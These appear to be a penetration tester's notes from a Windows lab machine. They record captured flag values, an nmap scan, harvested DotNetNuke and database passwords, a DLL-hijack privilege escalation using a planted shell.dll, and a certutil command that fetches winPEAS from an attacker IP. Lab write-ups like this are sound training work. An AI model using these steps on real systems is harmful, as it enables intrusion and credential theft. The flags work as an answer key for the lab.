192.168.154.248 (external) /

Local Flag:
    C:\Users\emma\Desktop\local.txt
    2ce6710c29b2a5ac2e800e3709f94509

Root Flag:
    C:\Users\mark\Desktop\proof.txt
    24d2bf320c7fc928a8103879d811c603
    

sudo nmap -sV -sC -sT -T4 -A -p- --open 192.168.235.248 -Pn -o target.fullmap248

cd C:\Users\mark\Documents

copy \\tsclient\SHARE\exploits248\shell.dll C:\Users\mark\Documents\BetaLibrary.Dll

copy C:\BetaMonitor\BetaMonitor.exe C:\Users\mark\Documents\BetaMonitor.exe

BetaMonitor.exe

admin:password works

• Broke the site while playing with the site settings

But found emma user

Found another instance of emma being mentioned

Found transfer share

Useless

Another dead end

robots.txt is a dead end

Username	Password
database	welcome1
dnnuser	DotNetNukeDatabasePassword!

• Provide master password: welcome1

Username	Password
emma	SomersetVinyl1!
<Unknown User>	HabitsAgesEnd123
sa	SAPassword_1998
USE FOR NEW DB	WELCOME1

Using !8@aBRBYdb3! as the password

Nothing happens...

Trying running cmd instead

cd C:\transfer
certutil -urlcache -split -f http://192.168.45.220/winPEASx64.exe winPEASx64.exe
winPEASx64.exe